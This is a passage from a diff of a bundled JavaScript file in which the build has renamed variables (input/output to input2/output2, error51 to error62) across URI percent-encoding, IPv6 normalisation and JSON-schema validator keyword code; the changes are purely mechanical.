input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -28651,130 +28651,130 @@ var require_utils = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } function isEscapeSafe(cp) { return cp >= 48 && cp <= 57 || cp >= 65 && cp <= 90 || cp >= 97 && cp <= 122 || cp === 42 || cp === 43 || cp === 45 || cp === 46 || cp === 47 || cp === 64 || cp === 95; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - output += escape(input[i]); + output2 += escape(input2[i]); } - return output; + return output2; } function recomposeAuthority(component) { const uriTokens = []; @@ -30239,7 +30239,7 @@ var require_limitNumber = __commonJS({ exclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, exclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`must be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -30248,7 +30248,7 @@ var require_limitNumber = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; cxt.fail$data((0, codegen_1._)`${data} ${KWDs[keyword].fail} ${schemaCode} || isNaN(${data})`); @@ -30264,7 +30264,7 @@ var require_multipleOf = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must be multiple of ${schemaCode}`, params: ({ schemaCode }) => (0, codegen_1._)`{multipleOf: ${schemaCode}}` }; @@ -30273,7 +30273,7 @@ var require_multipleOf = __commonJS({ type: "number", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, it } = cxt; const prec = it.opts.multipleOfPrecision; @@ -30320,7 +30320,7 @@ var require_limitLength = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var ucs2length_1 = require_ucs2length(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxLength" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} characters`; @@ -30332,7 +30332,7 @@ var require_limitLength = __commonJS({ type: "string", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode, it } = cxt; const op = keyword === "maxLength" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30352,7 +30352,7 @@ var require_pattern = __commonJS({ var code_1 = require_code2(); var util_1 = require_util(); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match pattern "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{pattern: ${schemaCode}}` }; @@ -30361,7 +30361,7 @@ var require_pattern = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; const u = it.opts.unicodeRegExp ? "u" : ""; @@ -30387,7 +30387,7 @@ var require_limitProperties = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxProperties" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} properties`; @@ -30399,7 +30399,7 @@ var require_limitProperties = __commonJS({ type: "object", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxProperties" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30418,7 +30418,7 @@ var require_required = __commonJS({ var code_1 = require_code2(); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { missingProperty } }) => (0, codegen_1.str)`must have required property '${missingProperty}'`, params: ({ params: { missingProperty } }) => (0, codegen_1._)`{missingProperty: ${missingProperty}}` }; @@ -30427,7 +30427,7 @@ var require_required = __commonJS({ type: "object", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, schemaCode, data, $data, it } = cxt; const { opts } = it; @@ -30498,7 +30498,7 @@ var require_limitItems = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message({ keyword, schemaCode }) { const comp = keyword === "maxItems" ? "more" : "fewer"; return (0, codegen_1.str)`must NOT have ${comp} than ${schemaCode} items`; @@ -30510,7 +30510,7 @@ var require_limitItems = __commonJS({ type: "array", schemaType: "number", $data: true, - error: error51, + error: error62, code(cxt) { const { keyword, data, schemaCode } = cxt; const op = keyword === "maxItems" ? codegen_1.operators.GT : codegen_1.operators.LT; @@ -30541,7 +30541,7 @@ var require_uniqueItems = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: ({ params: { i, j } }) => (0, codegen_1.str)`must NOT have duplicate items (items ## ${j} and ${i} are identical)`, params: ({ params: { i, j } }) => (0, codegen_1._)`{i: ${i}, j: ${j}}` }; @@ -30550,7 +30550,7 @@ var require_uniqueItems = __commonJS({ type: "array", schemaType: "boolean", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, parentSchema, schemaCode, it } = cxt; if (!$data && !schema) @@ -30607,14 +30607,14 @@ var require_const = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to constant", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValue: ${schemaCode}}` }; var def = { keyword: "const", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schemaCode, schema } = cxt; if ($data || schema && typeof schema == "object") { @@ -30636,7 +30636,7 @@ var require_enum = __commonJS({ var codegen_1 = require_codegen(); var util_1 = require_util(); var equal_1 = require_equal(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; @@ -30644,7 +30644,7 @@ var require_enum = __commonJS({ keyword: "enum", schemaType: "array", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, $data, schema, schemaCode, it } = cxt; if (!$data && schema.length === 0) @@ -30723,7 +30723,7 @@ var require_additionalItems = __commonJS({ exports.validateAdditionalItems = void 0; var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30732,7 +30732,7 @@ var require_additionalItems = __commonJS({ type: "array", schemaType: ["boolean", "object"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { parentSchema, it } = cxt; const { items } = parentSchema; @@ -30851,7 +30851,7 @@ var require_items2020 = __commonJS({ var util_1 = require_util(); var code_1 = require_code2(); var additionalItems_1 = require_additionalItems(); - var error51 = { + var error62 = { message: ({ params: { len } }) => (0, codegen_1.str)`must NOT have more than ${len} items`, params: ({ params: { len } }) => (0, codegen_1._)`{limit: ${len}}` }; @@ -30860,7 +30860,7 @@ var require_items2020 = __commonJS({ type: "array", schemaType: ["object", "boolean"], before: "uniqueItems", - error: error51, + error: error62, code(cxt) { const { schema, parentSchema, it } = cxt; const { prefixItems } = parentSchema; @@ -30884,7 +30884,7 @@ var require_contains = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1.str)`must contain at least ${min} valid item(s)` : (0, codegen_1.str)`must contain at least ${min} and no more than ${max} valid item(s)`, params: ({ params: { min, max } }) => max === void 0 ? (0, codegen_1._)`{minContains: ${min}}` : (0, codegen_1._)`{minContains: ${min}, maxContains: ${max}}` }; @@ -30894,7 +30894,7 @@ var require_contains = __commonJS({ schemaType: ["object", "boolean"], before: "uniqueItems", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, it } = cxt; let min; @@ -31072,7 +31072,7 @@ var require_propertyNames = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "property name must be valid", params: ({ params }) => (0, codegen_1._)`{propertyName: ${params.propertyName}}` }; @@ -31080,7 +31080,7 @@ var require_propertyNames = __commonJS({ keyword: "propertyNames", type: "object", schemaType: ["object", "boolean"], - error: error51, + error: error62, code(cxt) { const { gen, schema, data, it } = cxt; if ((0, util_1.alwaysValidSchema)(it, schema)) @@ -31117,7 +31117,7 @@ var require_additionalProperties = __commonJS({ var codegen_1 = require_codegen(); var names_1 = require_names(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must NOT have additional properties", params: ({ params }) => (0, codegen_1._)`{additionalProperty: ${params.additionalProperty}}` }; @@ -31127,7 +31127,7 @@ var require_additionalProperties = __commonJS({ schemaType: ["boolean", "object"], allowUndefined: true, trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, data, errsCount, it } = cxt; if (!errsCount) @@ -31401,7 +31401,7 @@ var require_oneOf = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: "must match exactly one schema in oneOf", params: ({ params }) => (0, codegen_1._)`{passingSchemas: ${params.passing}}` }; @@ -31409,7 +31409,7 @@ var require_oneOf = __commonJS({ keyword: "oneOf", schemaType: "array", trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, schema, parentSchema, it } = cxt; if (!Array.isArray(schema)) @@ -31486,7 +31486,7 @@ var require_if = __commonJS({ Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params }) => (0, codegen_1.str)`must match "${params.ifClause}" schema`, params: ({ params }) => (0, codegen_1._)`{failingKeyword: ${params.ifClause}}` }; @@ -31494,7 +31494,7 @@ var require_if = __commonJS({ keyword: "if", schemaType: ["object", "boolean"], trackErrors: true, - error: error51, + error: error62, code(cxt) { const { gen, parentSchema, it } = cxt; if (parentSchema.then === void 0 && parentSchema.else === void 0) { @@ -31620,7 +31620,7 @@ var require_format2 = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var codegen_1 = require_codegen(); - var error51 = { + var error62 = { message: ({ schemaCode }) => (0, codegen_1.str)`must match format "${schemaCode}"`, params: ({ schemaCode }) => (0, codegen_1._)`{format: ${schemaCode}}` }; @@ -31629,7 +31629,7 @@ var require_format2 = __commonJS({ type: ["number", "string"], schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt, ruleType) { const { gen, data, $data, schema, schemaCode, it } = cxt; const { opts, errSchemaPath, schemaEnv, self: self2 } = it; @@ -31784,7 +31784,7 @@ var require_discriminator = __commonJS({ var compile_1 = require_compile(); var ref_error_1 = require_ref_error(); var util_1 = require_util(); - var error51 = { + var error62 = { message: ({ params: { discrError, tagName } }) => discrError === types_1.DiscrError.Tag ? `tag "${tagName}" must be string` : `value of tag "${tagName}" must be in oneOf`, params: ({ params: { discrError, tag: tag2, tagName } }) => (0, codegen_1._)`{error: ${discrError}, tag: ${tagName}, tagValue: ${tag2}}` }; @@ -31792,7 +31792,7 @@ var require_discriminator = __commonJS({ keyword: "discriminator", type: "object", schemaType: "object", - error: error51, + error: error62, code(cxt) { const { gen, data, schema, parentSchema, it } = cxt; const { oneOf } = parentSchema; @@ -32291,7 +32291,7 @@ var require_type = __commonJS({ int32: [-2147483648, 2147483647, 10], uint32: [0, 4294967295, 10] }; - var error51 = { + var error62 = { message: (cxt) => (0, error_1.typeErrorMessage)(cxt, cxt.schema), params: (cxt) => (0, error_1.typeErrorParams)(cxt, cxt.schema) }; @@ -32308,7 +32308,7 @@ var require_type = __commonJS({ var def = { keyword: "type", schemaType: "string", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { data, schema, parentSchema, it } = cxt; @@ -32379,14 +32379,14 @@ var require_enum2 = __commonJS({ var codegen_1 = require_codegen(); var metadata_1 = require_metadata2(); var nullable_1 = require_nullable(); - var error51 = { + var error62 = { message: "must be equal to one of the allowed values", params: ({ schemaCode }) => (0, codegen_1._)`{allowedValues: ${schemaCode}}` }; var def = { keyword: "enum", schemaType: "array", - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, schemaValue, parentSchema, it } = cxt; @@ -32611,7 +32611,7 @@ var require_discriminator2 = __commonJS({ var nullable_1 = require_nullable(); var error_1 = require_error3(); var types_1 = require_types(); - var error51 = { + var error62 = { message: (cxt) => { const { schema, params } = cxt; return params.discrError ? params.discrError === types_1.DiscrError.Tag ? `tag "${schema}" must be string` : `value of tag "${schema}" must be in mapping` : (0, error_1.typeErrorMessage)(cxt, "object"); @@ -32625,7 +32625,7 @@ var require_discriminator2 = __commonJS({ keyword: "discriminator", schemaType: "string", implements: ["mapping"], - error: error51, + error: error62, code(cxt) { (0, metadata_1.checkMetadata)(cxt); const { gen, data, schema, parentSchema } = cxt; @@ -33813,27 +33813,27 @@ var require_utils2 = __commonJS({ var isPathCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/]$/u); var isQueryFragmentCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:@/?]$/u); var isUserinfoCharacter = RegExp.prototype.test.bind(/^[A-Za-z0-9\-._~!$&'()*+,;=:]$/u); - function stringArrayToHexStripped(input) { + function stringArrayToHexStripped(input2) { let acc = ""; let code = 0; let i = 0; - for (i = 0; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i = 0; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (code === 48) { continue; } if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; break; } - for (i += 1; i < input.length; i++) { - code = input[i].charCodeAt(0); + for (i += 1; i < input2.length; i++) { + code = input2[i].charCodeAt(0); if (!(code >= 48 && code <= 57 || code >= 65 && code <= 70 || code >= 97 && code <= 102)) { return ""; } - acc += input[i]; + acc += input2[i]; } return acc; } @@ -33881,11 +33881,11 @@ var require_utils2 = __commonJS({ const tail = hextets.slice(bestStart + bestLength).join(":"); return head + "::" + tail; } - function normalizeIPv6Address(input) { - const compression = input.indexOf("::"); - if (compression !== -1 && input.indexOf("::", compression + 1) !== -1) return void 0; - const left = compression === -1 ? input.split(":") : input.slice(0, compression).split(":"); - const right = compression === -1 ? [] : input.slice(compression + 2).split(":"); + function normalizeIPv6Address(input2) { + const compression = input2.indexOf("::"); + if (compression !== -1 && input2.indexOf("::", compression + 1) !== -1) return void 0; + const left = compression === -1 ? input2.split(":") : input2.slice(0, compression).split(":"); + const right = compression === -1 ? [] : input2.slice(compression + 2).split(":"); if (compression !== -1) { if (left.length === 1 && left[0] === "") left.length = 0; if (right.length === 1 && right[0] === "") right.length = 0; @@ -33918,23 +33918,23 @@ var require_utils2 = __commonJS({ const bracketed = host[0] === "[" && host[host.length - 1] === "]"; const hasBracket = host[0] === "[" || host[host.length - 1] === "]"; if (hasBracket && !bracketed) return { host, isIPV6: false, error: true }; - let input = bracketed ? host.slice(1, -1) : host; - if (bracketed && isIPvFuture(input)) { - input = input.toLowerCase(); - return { host: `[${input}]`, escapedHost: input, isIPV6: false, isIPVFuture: true }; + let input2 = bracketed ? host.slice(1, -1) : host; + if (bracketed && isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = 